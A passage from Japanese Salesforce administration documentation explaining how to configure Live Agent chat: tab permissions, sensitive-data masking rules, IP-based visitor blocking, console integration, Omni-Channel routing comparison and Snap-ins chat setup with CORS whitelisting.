3. [Live Agentスーパーバイザ] タブの表示を [デフォルトで表示]に設定します。
4. [保存] をクリックします
[Live Agent スーパーバイザ] タブにアクセスする権限をユーザに付与すると、
Salesforce コンソールで [Live Agent スーパーバイザ] パネルへのアクセス権を設定
できるようになります。
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権限セットを使用した [Live Agent セッション] タブの表示の設定

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Live Agent 機能のタブ表示
を設定する
• 「プロファイルと権限

セットの管理」

セッションレコードには、処理されたチャット要求数、エージェントがオンラ
インであった時間、エージェントが顧客とのチャットに参加した時間など、エー
ジェントと顧客のオンラインでのやりとりに関する情報が保存されます。[Live

Agent セッション] タブを、指定した権限セットに割り当てられたユーザに表示
します。
または、プロファイルを使用して、[Live Agent セッション] タブへのアクセス権
をユーザに付与することもできます。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] を選択します。
2. 権限セットの名前をクリックするか、権限セットを作成します。
3. [オブジェクト設定]をクリックします。
4. [Live Agent セッション] をクリックします。
5. [編集] をクリックします。
6. [タブの設定] で [選択可能] および [参照可能] を選択します。
7. [保存] をクリックします。
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プロファイルを使用した [Live Agent セッション] タブの表示の設定

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Live Agent セッションのタ
ブ表示を設定する
• 「プロファイルと権限

セットの管理」

セッションレコードには、処理されたチャット要求数、エージェントがオンラ
インであった時間、エージェントが顧客とのチャットに参加した時間など、エー
ジェントと顧客のオンラインでのやりとりに関する情報が保存されます。[Live

Agent セッション] タブを、指定したプロファイルに割り当てられたユーザに表
示します。
または、権限セットを使用して、[Live Agent セッション] タブへのアクセス権を
ユーザに付与することもできます。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. サポートエージェントのプロファイルを選択します。
3. [編集] をクリックします。
4. [Live Agent セッション] タブの表示を [デフォルトで表示] に設定します。
5. [保存] をクリックします

Live Agent ユーザのプライバシーオプションの設定

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

機密データや望ましくない訪問者をブロックすることによって、エージェント
やエージェントがサポートする顧客を保護します。

チャットでの機密データのブロック
機密データルールでは、クレジットカード番号、社会保障番号、電話番号、
アカウント番号、冒涜的な言葉など、特定のパターンをブロックできます。
テキストを削除するか、好ましい文字に置き換えるかを選択できます。
IP アドレスによる訪問者のブロックをエージェントに許可
指定した IP アドレスからのチャットをブロックして、エージェントが厄介な
顧客を回避できるようにします。
チャット訪問者をブロックする IP ブロックルールの作成
指定した IP アドレスからのチャットをブロックして、エージェントが厄介な
顧客を回避できるようにします。
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チャットでの機密データのブロック

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

機密データルールを作成
する
• 「アプリケーションの

カスタマイズ」

機密データルールでは、クレジットカード番号、社会保障番号、電話番号、ア
カウント番号、冒涜的な言葉など、特定のパターンをブロックできます。テキ
ストを削除するか、好ましい文字に置き換えるかを選択できます。
1. [設定] から、[クイック検索] ボックスに「機密データルール」と入力し、[機

密データルール] を選択します。
2. [新規] をクリックします。
3. 各パターンを JavaScript 正規表現 (regex) として記述し、優先する設定を選択し

ます。regex では、大文字と小文字は区別されます。
4. [パターンをテスト] をクリックします。
5. 社会保障番号の場合は 123-45-6789 など、ブロックするデータの形式でテキス

トを入力します。
6. 結果をプレビューして、ルールが正しく動作することを確認します。
7. このルールを適用するロールを選択します。
8. [保存] をクリックします。
テキストは、エージェント、スーパーバイザ、顧客、またはそのすべてからブ
ロックできます。ルールがトリガされると、次の 1 つ以上のチャットトランス
クリプトイベントが記録されます。
• ブロックされた機密データ (エージェント)

• ブロックされた機密データ (スーパーバイザ)

• ブロックされた機密データ (訪問者)

メモ: 機密データはユーザの入力中に表示されますが、送信時にはマスク
されます。そのため、顧客情報をエージェントからマスクする場合は、([設
定] > [カスタマイズ] > [Live Agent] > [Live Agentの設定] で) エージェントプレ
ビューを無効にすることをお勧めします。
機密データルールは、自動挨拶や有効化されたすべてのクイックテキスト
に適用されます。エージェント名およびチャットウィンドウの他の標準テ
キストには適用されません。
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IP アドレスによる訪問者のブロックをエージェントに許可

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Salesforce コンソールの
Live Agent で訪問者と
チャットする
• Salesforce コンソール

アプリケーションで
Live Agent を有効化、
設定、および含める

指定した IP アドレスからのチャットをブロックして、エージェントが厄介な顧
客を回避できるようにします。
コンソールで作業中に、指定した IP アドレスからのチャット要求をエージェン
トがブロック可能にすることができます。たとえば、顧客が暴言を吐いたり、
スパムメッセージを送ってきたりする場合に、そのユーザが新しいチャットを
開始できないようにすることができます。
エージェントのアクションでは、個別の IP アドレスからのチャットをブロック
します。
ブロックされた訪問者には、チャットを使用できないことを示すメッセージが
表示されます。
顧客がブロックされた IP アドレスからチャットを要求しようとしても、チャッ
トがキューに追加されないか、エージェントに転送されません。また、ブロッ
クルールを変更または削除することもできます。
1. [設定] から、[クイック検索] ボックスに「Live Agent の設定」と入力し、

[Live Agent の設定] を選択します。
2. 編集する設定の横にある [編集] をクリックします。
3. [基本情報] で、[訪問者のブロックの有効化] を選択します。
4. [保存] をクリックします
Salesforceシステム管理者は、個々の IP アドレスをブロックすることもできます。
または、Salesforce組織が特定の地域からスパムチャットを受信している場合は、
IP アドレスの範囲全体をブロックできます。詳細は、「チャット訪問者をブロッ
クする IP ブロックルールの作成」を参照してください。
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チャット訪問者をブロックする IP ブロックルールの作成

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Salesforce コンソールの
Live Agent で訪問者と
チャットする
• Salesforce コンソール

アプリケーションで
Live Agent を有効化、
設定、および含める

指定した IP アドレスからのチャットをブロックして、エージェントが厄介な顧
客を回避できるようにします。
指定した IP アドレスからのチャット要求をブロックできます。たとえば、顧客
が暴言を吐いたり、スパムメッセージを送ってきたりする場合に、そのユーザ
が新しいチャットを開始できないようにすることができます。Salesforce 組織が
特定の地域からスパムチャットを受信している場合は、IP アドレスの範囲全体
をブロックできます。
ブロックされた訪問者には、チャットを使用できないことを示すメッセージが
表示されます。
顧客がブロックされた IP アドレスからチャットを要求しようとしても、チャッ
トがキューに追加されないか、エージェントに転送されません。また、ブロッ
クルールを変更または削除することもできます。
1. [設定] から、[クイック検索] ボックスに「訪問者をブロック」と入力し、[訪

問者をブロック] を選択します。有効な IP 範囲の入力についてのガイドライ
ンは、「組織の信頼済み IP 範囲の設定」を参照してください。

2. [新規] をクリックし、ブロックルールのパラメータを入力します。
3. [保存] をクリックします
コンソールで作業中に、指定した IP アドレスからのチャット要求をエージェン
トがブロックできるようにすることもできます。詳細は、「IP アドレスによる
訪問者のブロックをエージェントに許可」を参照してください。
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Salesforce コンソールでの Live Agent の設定

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Live Agent を設定する
• 「アプリケーションの

カスタマイズ」

ユーザプロファイルまた
は権限セットを作成する
• 「プロファイルと権限

セットの管理」

Live Agent の基本的な実装を設定およびカスタマイズしたら、それを Salesforce コ
ンソールに追加して、エージェントとスーパーバイザがチャットを使用して顧
客のサポートを開始できるようにします。また、Salesforce コンソールで他の一
部の機能を設定して、エージェントと顧客のための堅牢なチャットの操作性を
さらに高めることもできます。

Salesforce Classic の Salesforce コンソールへの Live Agent の追加
Live AgentをSalesforce コンソールに追加すると、エージェントとスーパーバイ
ザは 1 か所から顧客とチャットしたり、他のカスタマーサービスツールにア
クセスしたりできます。
ナレッジ記事からのチャットアンサーの設定
組織でSalesforceナレッジを使用している場合、エージェントはナレッジ記事
からの情報を使用して顧客の質問に答えることができます。エージェントが
Salesforce コンソールで Live Agentから記事を検索し、情報をチャットに組み込
めるように、記事に関するチャットアンサーを設定します。
Salesforce コンソールへのスーパーバイザパネルの追加
スーパーバイザパネルをSalesforceに追加して、サポートスーパーバイザが容
易に作業できるようにします。これにより、スーパーバイザはワークスペー
スを切り替えることなくエージェントに関する情報にアクセスできます。
オムニチャネルで転送されるチャットのサイドバールックアップコンポーネ
ントのコンソールへの追加
エージェントのSalesforce コンソールにサイドバールックアップコンポーネン
トを追加し、チャットに関連するレコードをすばやく参照または作成できる
ようにします。このコンポーネントはオムニチャネル転送を使用している
チャット (ベータ) のみに使用されます。
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Salesforce Classic の Salesforce コンソールへの Live Agent の追加

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Salesforce コンソールに
Live Agent を追加する
• 「アプリケーションの

カスタマイズ」

Live Agent を Salesforce コンソールに追加すると、エージェントとスーパーバイザ
は 1 か所から顧客とチャットしたり、他のカスタマーサービスツールにアクセ
スしたりできます。
Live Agent を Salesforce コンソールアプリケーションに追加する前に、Salesforce コ
ンソールアプリケーションを作成する必要があります (まだ設定していない場
合)。
Live Agent を設定したら、Salesforce コンソールアプリケーションに追加します。
コンソールに Live Agent が設定されると、エージェントはチャットの顧客とやり
とりできるようになります。Salesforce コンソールがあると、エージェントとスー
パーバイザは 1 か所から Live Agent や他の Service Cloud 製品にアクセスできるよう
になり、迅速かつ効率的なカスタマーサービスを顧客に提供できます。
1. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[ア

プリケーション] を選択します。
2. Live Agentを設定するSalesforce コンソールアプリケーションの名前の横にある

[編集] をクリックします。
3. [このアプリケーションに Live Agent を含める] を選択します。
4. チャットワークスペースのチャットセッションのサブタブとして開くレコー

ドまたはページを選択します。
5. 必要に応じて、Salesforce 組織でナレッジが有効化されている場合は、[Live

Agent にナレッジの推奨記事を含める] を選択してチャットワークスペース
に Knowledge One ウィジェットを表示します。

6. [保存] をクリックします。
複数の Salesforce アプリケーションを同時に実行できます。ただし、Salesforce コ
ンソールアプリケーションにログインしている間に、他の Salesforce アプリケーションにログインすると、新規
チャット要求を受け入れることができません。

関連トピック:

Salesforce Classic の Salesforce コンソールでの Live Agent の使用
Salesforce Classic のコンソールの設定可能な機能
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ナレッジ記事からのチャットアンサーの設定

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Knowledge One ウィ
ジェットを設定する
• 「アプリケーションの

カスタマイズ」

および

「ナレッジの管理」

組織で Salesforce ナレッジを使用している場合、エージェントはナレッジ記事か
らの情報を使用して顧客の質問に答えることができます。エージェントがSalesforce

コンソールで Live Agent から記事を検索し、情報をチャットに組み込めるよう
に、記事に関するチャットアンサーを設定します。
サポートエージェントが、Knowledge One ウィジェットを使用して、ナレッジ記
事からの情報をチャットセッションに組み込めるようにするには、「Chat Answer」
(チャットアンサー) という名前のカスタム項目を記事タイプに追加する必要があ
ります。この項目には、Live Chat 中に顧客と共有するのに適する記事の情報を保
存します。この項目は、記事が長すぎるためエージェントがレスポンスに簡単
に挿入できない場合に便利です。
カスタム項目は、テキスト、テキストエリア、またはロングテキストエリアと
して作成します。リッチテキスト項目オプションはサポートされていません。
このカスタム項目は、Knowledge One ウィジェットからアクセスする情報が含ま
れる各記事タイプに追加する必要があります。
1. [設定] から、[クイック検索] ボックスに「ナレッジ記事タイプ」と入力し、

[ナレッジ記事タイプ] を選択します。
2. 記事タイプを作成または編集します。
3. [項目] 関連リストで [新規] をクリックします。
4. [テキスト]、[テキストエリア]、または [ロングテキストエリア]を選択しま

す。
[テキストエリア (リッチ)] は選択しないでください。

5. [次へ] をクリックします。
6. 項目ラベルに「Chat Answer」と入力します。

項目名に「Chat_Answer」が自動的に入力されることを確認します (項目ラベ
ルには異なる名前を指定できます)。

7. [次へ] をクリックします。
8. セキュリティ設定を指定し、[次へ] をクリックします。

著者、編集者、Live Chat エージェントに表示されるように「Chat Answer」項目を設定します。ポータルユー
ザやこの項目にアクセスする必要がない他のユーザには非表示に設定します。

9. [はい、このカスタム項目をレイアウトに追加します] を選択し、[保存] をクリックします。
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Salesforce コンソールへのスーパーバイザパネルの追加

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Live Agent を設定してアプ
リケーションを管理する
• 「アプリケーションの

カスタマイズ」

スーパーバイザパネルを Salesforce に追加して、サポートスーパーバイザが容易
に作業できるようにします。これにより、スーパーバイザはワークスペースを
切り替えることなくエージェントに関する情報にアクセスできます。
1. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[ア

プリケーション] を選択します。
2. スーパーバイザパネルを追加するSalesforce コンソールアプリケーションの横

にある [編集] をクリックします。
3. [ナビゲーションタブ項目を選択] セクションで、[Live Agent スーパーバイ

ザ] を [選択済みの項目] リストに追加します。
4. [保存] をクリックします
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オムニチャネルで転送されるチャットのサイドバールックアップコンポーネントのコンソー
ルへの追加

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

エージェントの Salesforce コンソールにサイドバールックアップコンポーネント
を追加し、チャットに関連するレコードをすばやく参照または作成できるよう
にします。このコンポーネントはオムニチャネル転送を使用しているチャット
(ベータ) のみに使用されます。
Salesforce コンソールアプリケーションにサイドバーコンポーネントを追加する
には、次のものが必要です。
• Live Agent およびオムニチャネルが追加された Salesforce コンソール。
• 転送オプションに [オムニ] を使用する 1 つ以上のチャットボタン。
• オムニチャネルによって転送されたチャットを処理するエージェントに Live

Chat のトランスクリプトの編集アクセス権が付与されていること。
1. [設定] から、[クイック検索]ボックスに「Live Agent」と入力し、[Live Chat

のトランスクリプト] > [ページレイアウト] を選択します。
2. [Live Chat のトランスクリプト (処理中)] ページレイアウトの横にある [編集] を

クリックします。
3. [カスタムコンソールコンポーネント] をクリックします。

4. [主タブコンポーネント] で、オブジェクトと他の設定を調整します。チャットが左側に表示されるため、
コンポーネントを左サイドバーに移動しないでください。
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5. [保存] をクリックします。
エージェントは、サイドバーコンポーネントを使用してレコードのリンクおよびリンク解除を行えるようにな
りました。

リンクされたレコードのないサイドバーのルックアップコンポーネント
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リンクされたレコードのあるサイドバーのルックアップコンポーネント
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既存の Live Agent 実装でのオムニチャネルの使用

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

Live Agent を気に入っていて、さらにオムニチャネルを追加する場合、システム
管理者と組織に次のような変更があります (エージェントに対する変更はありま
せん)。
Live Agent とオムニチャネルを組み合わせて使用することで、カスタマーサービ
スを次のレベルに進めることができます。設定が完了すれば、その 2 つは完全
に調和して機能します。
Live Agentは、Live Agentユーザが使用可能な動作と設定を制御する Live Agent設定
に基づいて機能します。同様に、オムニチャネルでは、プレゼンス設定を使用
してオムニチャネルユーザが使用可能な動作と設定が制御されます。Live Agent

をオムニチャネルと統合することで、チャットを他の作業項目と同じように転
送できます。あるいは、チャットのオムニチャネルルーティングを使用するこ
ともできます。どちらの方法で Live Agent と共にオムニチャネルを使用しても、
エージェントはオムニチャネルウィジェットで要求を受け入れるか、拒否する
ことができます。
Live Agentとオムニチャネルを統合すると、Live Agentユーザはオムニチャネルユー
ザにもなるため、チャットエージェントを Live Agent 設定とプレゼンス設定の両
方に関連付ける必要があります。オムニチャネルを現在の Live Agent 実装で有効
化すると、Salesforce がユーザに代わって一部の面倒な作業を行います。
組織の既存の各 Live Agent 設定に対して、Salesforce により次のことが実行されま
す。
• 各 Live Agent 設定に対応するプレゼンス設定を作成する
• 各プレゼンス設定の可能チャット数を、対応するLive Agent設定の値に設定す

る
• チャットエージェントを対応する新しいプレゼンス設定に割り当てる
Live Agent が有効になっているものの実装がない場合は、オムニチャネルを有効
にすると、Salesforce によって Live Agent サービスチャネルが作成されます。
これらはすべて Salesforce によって自動で行われるため、エージェントのワーク
フローは中断されません。エージェントは、コンソールのオムニチャネルウィ
ジェットからチャットの受け入れを開始できます。エージェントにとっての唯一の違いは、状況の設定やチャッ
ト通知の受け入れにコンソールのオムニチャネルウィジェットを使用することです。また、状況オプションも
変更されている場合があります。これは、オムニチャネルのプレゼンス状況は設定可能であるためです。

チャットの Live Agent ルーティングとオムニチャネルルーティングの比較
チャットのオムニチャネルルーティング (ベータ) を使用する場合とチャットの Live Agent ルーティングのま
まにする場合の利点と制限について説明します。
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チャットの Live Agent ルーティングとオムニチャネルルーティングの比較

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

チャットのオムニチャネルルーティング (ベータ) を使用する場合とチャットの
Live Agent ルーティングのままにする場合の利点と制限について説明します。
チャットのオムニチャネルルーティング (ベータ) を使用するかどうかを決定す
るときに、多数の留意事項があります。チャットのオムニチャネルルーティン
グは、Live Agentを初めて有効にしたとき、または [オムニ]ルーティングオプショ
ンを使用するチャットボタンを作成したときに有効になります。
Live Agent とオムニチャネルを併用しているときの 2 つのルーティングモデルオ
プションを比較してみましょう。

オムニチャネルルーティングLive Agent ルーティング

エージェントはオムニチャネルウィ
ジェットを使用して作業を処理しま
す。

エージェントはオムニチャネルウィ
ジェットを使用して作業を処理しま
す。

エージェントはオムニチャネルプレゼ
ンス (その設定可能な状況を含む) を使
用します。

エージェントはオムニチャネルプレゼ
ンス (その設定可能な状況を含む) を使
用します。

チャットのプレゼンス設定でオムニ
チャネルサウンド通知を使用します。

チャットのプレゼンス設定でオムニ
チャネルサウンド通知を使用します。

エージェント業務量は、オムニチャネ
ルで設定および消費されます。

エージェント業務量は、オムニチャネ
ルで設定および消費されます。

チャットはオムニチャネルキューを使
用してエージェントに転送されます。

チャットはスキルを使用してエージェ
ントに転送されます。

オムニチャネル作業でチャットに優先
順位が付けられ、キューを使用して相
対的に優先順位を付けることができま
す。

オムニチャネル作業でチャットには優
先順位が付けられず、相対的に優先順
位を付けることもできません。転送さ
れていないオムニチャネル項目は、常
にチャットの前に転送されます。

チャットのサイズをキューで設定でき
ます。

チャットのサイズは常に 1 です。

チャットスーパーバイザはOmni-Channel

Supervisorを使用してエージェントの活
チャットスーパーバイザは Live Agent

スーパーバイザパネルを使用して
動とリアルタイムデータを監視しま
す。

チャットを監視し、エージェントの
チャットを支援します。

チャットデータは Live Agent レポートだ
けでなくエージェント作業レポートに
も含まれます。

チャットのレポートとデータはオムニ
チャネルデータとは分離されます。

3057

Web チャットチャネルの作成カスタマーサポートツールの設定および管理



オムニチャネルルーティングLive Agent ルーティング

Live Chat トランスクリプトはチャットが要求されたと
きに作成されます。

Live Chat トランスクリプトはチャットが終了するとき
に作成されます。

[待機中]、[進行中]、[終了済み] のチャットの Live Chat

トランスクリプトページをカスタマイズできます。
[終了済み] のチャットの Live Chat トランスクリプトペー
ジをカスタマイズできます。

見逃されたチャットの Live Chat トランスクリプトが作
成されるため、レポートには見逃されたチャットが含
まれます。

見逃されたチャットの Live Chat トランスクリプトは作
成されないため、レポートには見逃されたチャットが
含まれません。

エージェントはチャット中にチャットトランスクリプ
トをレコードと関連付けることができます。チャット

エージェントはチャットの終了後にのみチャットトラ
ンスクリプトをレコードと関連付けることができま
す。 トランスクリプト自体にこの操作を行うオプションが

あるか、コンソールサイドバーのルックアップコン
ポーネントを使用します。

オムニチャネルのコンソールインテグレーションツー
ルキットメソッドを使用します。

Live Agent のコンソールインテグレーションツールキッ
トメソッドを使用します。

ただし、チャットのオムニチャネルルーティングを使用する場合はいくつかの制限があります。
• Live Agent ルーティングを使用するボタンからオムニチャネルルーティングを使用するボタンにチャットを

転送することはできません。
• オムニチャネルで転送されるチャットでエージェントへの直接転送は使用できません。
• オムニチャネルで転送されるチャットでチャット会議は使用できません。
• 複数のオブジェクト種別があるキューでチャットのオムニチャネルルーティングを使用すると、問題が発

生する可能性があります。複数のオブジェクト種別を処理するようにキューを設定する代わりに、チャッ
ト、ケース、リードなどのオブジェクト種別ごとにキューを作成することをお勧めします。

• オムニチャネルで転送されるチャットでは、Omni-Channel Supervisorを使用したスーパーバイザ示唆メッセー
ジや支援フラグを使用することはできません。

• エージェントがオムニチャネルで転送されるチャットに「エージェントへの転送」を使用し、チャットを
受け取るエージェントが管理プロファイルを持つ場合、転送を開始したエージェントは受け取ったエージェ
ントがチャット要求を受け入れるまでチャットトランスクリプトを表示できません。これは、転送が開始
されてからそのチャットが次のエージェントによって受け入れられるまで、オムニチャネルによってチャッ
トトランスクリプトの所有権が変更されるためです。
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Web サイトへの Snap-in チャットの追加

Snap-ins チャット

エディション

Snap-ins 設定ノードを使
用可能なエディション:
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Professional Edition、
Unlimited Edition、および
Developer Edition

Snap-insチャットウィジェットを Web サイトに追加すると、顧客はサイトの閲覧
中にエージェントとのチャットによって疑問をすばやく解決できます。Snap-ins

チャットでは Live Agent が使用されますが、簡単な設定でチャット機能を利用で
きます。
チャットウィジェットボタンは、Web ページの邪魔にならない場所にあります。
顧客がチャットを必要な場合は、ボタンをクリックしてチャットを起動します。

顧客は事前チャットフォームに必要事項を記入します。これによってエージェントは、お客様の連絡先情報や
ニーズなどの基本情報を収集します。
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顧客は Web ページを表示しながらチャットを開始でき、閲覧中にチャットウィンドウを最小化できるので邪
魔になりません。チャットウィジェットは Web ページ全体で保持されるため、顧客はエージェントとのチャッ
トを続けながら、サイトの別のページを引き続き閲覧できます。
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Snap-ins チャットでは軽量な Live Agent リリースが使用されるため、すばやく設定し、チャットウィジェットを
表示する Web ページに簡単にチャットコードを追加できます。エージェントがスナップインチャットを介し
て顧客とチャットする場合は、エージェントは Live Agent を使用します。

関連トピック:

Web サイトに Snap-ins チャットを設定
Snap-ins チャットの制限事項
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Web サイトに Snap-ins チャットを設定

エディション

Snap-ins 設定ノードを使
用可能なエディション:
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Professional Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Snap-ins チャットを設定
する
• 「アプリケーションの

カスタマイズ」

Snap-insチャットを設定する前に、次の前提条件を組織が満たしていることを確
認します。次のステップを実行して Snap-ins チャットウィジェットを設定し、
Web ページに追加します。Snap-ins チャットの設定ノードは Lightning Experience の
みで使用できます。
スナップインチャットを設定するには、組織が次の前提条件を満たす必要があ
ります。
• Snap-ins チャットを設定するために、Lightning Experience が有効になっている
• Service Cloud ライセンス
• Live Agent ライセンス
• 組織で Live Agent が有効になっている
• 組織で Live Agent チャットボタンと Live Agent リリースが設定済みで、使用可

能である
• 組織で Salesforce コミュニティ (ページ 3871) (推奨) または Force.comサイト (ペー

ジ 6199)が設定済みで、ゲストユーザのアクセスが可能である

メモ: システム管理者は、Lightning Experience を使用して Snap-ins 設定ページ
にアクセスする必要があります。ただし、組織の他のユーザは、Snap-ins

チャットでの Lightning Experience へのアクセスまたは使用の必要はありませ
ん。

Web サイトを CORS ホワイトリストに追加
Snap-insチャットを追加する Web ページの URL を、組織の CORS ホワイトリストに追加します。Snap-insチャッ
トを追加する Web ページは、顧客がチャットにアクセスするために使用するページです。
Snap-ins リリースの作成
使用する Snap-ins ウィジェットごとに Snap-ins リリースを作成します。Snap-ins チャットの設定ノードは
Lightning Experience のみで使用できます。
Snap-ins チャットリリースの Live Agent 設定を指定
Snap-insチャットウィジェットでは、顧客がエージェントとチャットできるよう、Live Agentリリース ID およ
びボタンが使用されます。指定される Live Agent の詳細は、Web ページに追加するチャットウィジェット
コードの生成に使用されます。
Snap-ins チャットウィジェットのブランド設定と外観のカスタマイズ
会社のブランドアイデンティティが反映されるように、Snap-ins チャットウィジェットで使用される色や
フォントを選択します。
事前チャットフォームのカスタマイズ
事前チャットフォームを使用して、顧客の連絡先情報を収集し、ニーズを調査します。さまざまなビジネ
スニーズに対応する事前チャットフォームを作成し、顧客情報を Salesforce レコード (リード、ケース、取引
先責任者など) に関連付けることができます。フォームに使用される項目をカスタマイズすることもできま
す。
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Snap-ins チャットコードスニペットをコピーしコードを Web ページに貼り付け
Salesforce では、Snap-ins チャットの設定中に入力した情報に基づいて一意のコードスニペットが生成されま
す。Web ページにチャットコードスニペットをコピーして貼り付けると、Snap-insチャットウィジェットを
Web ページに追加できます。Web ページに省略可能なメタタグコードスニペットをコピーして貼り付ける
と、モバイルやデスクトップなどさまざまなフォーム要素に Web ページが対応します。
Snap-ins チャットのウィジェットコードのカスタマイズ
テキストエディタまたは HTML エディタを使用して、チャットウィジェットのコードスニペットの省略可能
なパラメータをカスタマイズします。
Snap-ins チャットコードのカスタマイズ可能なパラメータ
チャット環境を会社のブランド設定が反映されたものとするために、Snap-insチャットウィジェットの外観
や動作に影響する特定のパラメータをカスタマイズできます。次のパラメータを使用して、事前チャット
バナー画像、ロゴ、待機状態画像、およびエージェントのアバター写真をカスタマイズします。チャット
の読み込み中、エージェントがオンライン中、またはエージェントがオフライン中にチャットボタンや
チャットウィジェットに表示させる文言を、カスタマイズすることもできます。
Snap-ins チャット環境のテスト
Web ページに Snap-ins チャットを埋め込んだら、テストを行います。

関連トピック:

組織の Lightning Experience の有効化
Lightning Experience でサポートされるブラウザ

Web サイトを CORS ホワイトリストに追加

エディション

Snap-ins 設定ノードを使
用可能なエディション:
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Professional Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Snap-ins チャットを設定
する
• 「アプリケーションの

カスタマイズ」

Snap-insチャットを追加する Web ページの URL を、組織の CORS ホワイトリストに
追加します。Snap-insチャットを追加する Web ページは、顧客がチャットにアク
セスするために使用するページです。
Snap-ins チャットには、HTTP ドメインおよび HTTPS ドメインを使用できます。
1. [設定] から、[クイック検索]ボックスに「CORS」と入力し、[CORS]を選択し

ます。
2. [新規] を選択します。
3. オリジンの URL パターンを入力します。

オリジンの URL パターンには、HTTP または HTTPS プロトコルとドメイン名が
含まれている必要があります。オリジンの URL パターンには、ポートを含め
ることができます。ワイルドカード文字 (*) はサポートされますが、第 2 レベ
ルドメイン名の前にある必要があります。たとえば、
https://*.example.com により、example.com のすべてのサブドメイン
がホワイトリストに追加されます。
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オリジンの URL パターンに IP アドレスを使用できます。ただし、IP アドレスと、同じアドレスに解決する
ドメインは同じオリジンではないため、CORS ホワイトリストには別々のエントリとして追加する必要があ
ります。

関連トピック:

Snap-ins リリースの作成

Snap-ins リリースの作成

エディション

Snap-ins 設定ノードを使
用可能なエディション:
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Professional Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Snap-ins チャットを設定
する
• 「アプリケーションの

カスタマイズ」

